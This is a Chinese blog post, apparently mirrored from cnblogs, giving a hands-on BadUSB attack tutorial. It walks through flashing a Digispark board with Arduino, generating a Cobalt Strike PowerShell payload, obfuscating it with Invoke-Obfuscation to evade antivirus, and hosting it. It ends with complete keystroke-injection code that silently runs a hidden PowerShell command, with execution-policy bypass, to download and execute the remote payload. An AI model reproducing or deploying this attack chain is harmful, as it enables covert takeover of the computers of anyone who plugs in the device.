zoukankan      html  css  js  c++  java
  • BadUSB 利用

    BadUSB以及编译工具准备

    淘宝买的,不包邮,花了30几块大洋

    链接就不放了,需要的私信

    到手后有一个小包装袋装着,一块芯片,其他三个都是U盘的外壳,拼好长这样

    一般来说你都可以去找卖家要写好的脚本和教程

    编译工具用arduino

    官网地址:https://www.arduino.cc/en/Main/Software

    也可以直接通过这个地址下载:https://downloads.arduino.cc/arduino-nightly-windows.zip

    驱动下载:https://pan.baidu.com/s/1YNpOORUnYBgLCfhy-5m4yA 提取码: vpye

    安装完驱动后,打开arduino

    在文件-> 首选项 中,添加一条http://digistump.com/package_digistump_index.json

     

     再打开工具->  开发板->开发板管理器

     等待下载完毕索引,搜索Digistump,下载,下载失败的话,就科学网上冲浪

    下载完成后,在切换到Digistump

    这样的话,在打开,示例中可以找到这些东西

    写好代码按√编译,按->上传到U盘中,

     一般编译用来检测代码是否有问题,当没问题后,就可以点上传,等到下面出现这个提示的时候,就可以插上U盘等待写入了

     

    CS生成文件

     打开cs,建立监听器

    监听器默认的就行

    选择payload generator

     选择powershell

     然后会生成一个ps1文件

    混淆免杀

    使用Invoke-Obfuscation

    github地址:github:https://github.com/danielbohannon/Invoke-Obfuscation

    在powershell中cd到Invoke-Obfuscation文件目录下,或者直接在Invoke-Obfuscation中打开powershell

    执行

    Import-Module .Invoke-Obfuscation.psd1
    Invoke-Obfuscation

    可能会报错,如果是未找到模块,则是文件路径不对,如果是禁止运行脚本

     出现这种情况以管理员权限打开powershell

    执行Set-ExecutionPolicy Unrestricted,选择y

    之后重新打开powershell窗口就好了

    正确执行完后是这样的

    然后执行命令,指定待处理的Ps1文件

      set scriptpath 文件路径

    或者指定待处理的ps代码

      set scriptblock 'echo xss'

    输入encoding 并选择编码方式

      输入数字就行

    输出结果

      out 文件位置

    最后

    改完了后,把文件上传到服务器,因为我比较懒,整理一个内网穿透工具,在自己电脑上用phpstudy简单弄了一下

    搞完后

    在arduino中把代码上传到u盘中

    代码如下:

    #include "DigiKeyboard.h"
    #define KEY_ESC     41
    #define KEY_BACKSPACE 42
    #define KEY_TAB     43
    #define KEY_PRT_SCR 70
    #define KEY_DELETE  76
    
    void setup() {
    
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
    DigiKeyboard.delay(1000);
    DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('上传的文件位置');"));
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    }
    void loop() {
    }

    之后编译,上传,在出现这个提示后,把badUSB插入电脑就好了,

     之后可以在自己电脑上插入测试一下。

  • 相关阅读:
    转:Jenkins自动化部署入门详细教程
    详解MySQL锁
    常见的内存溢出与解决办法
    read IEEE Standard for verilog(1)
    verilog之状态机
    quantus18的signaltap逻辑分析仪
    英语文档之关键词统计
    cadence软件画版图操作
    英语文档之vivado界面
    verilog之wire和reg
  • 原文地址:https://www.cnblogs.com/This-is-Y/p/13532603.html
Copyright © 2011-2022 走看看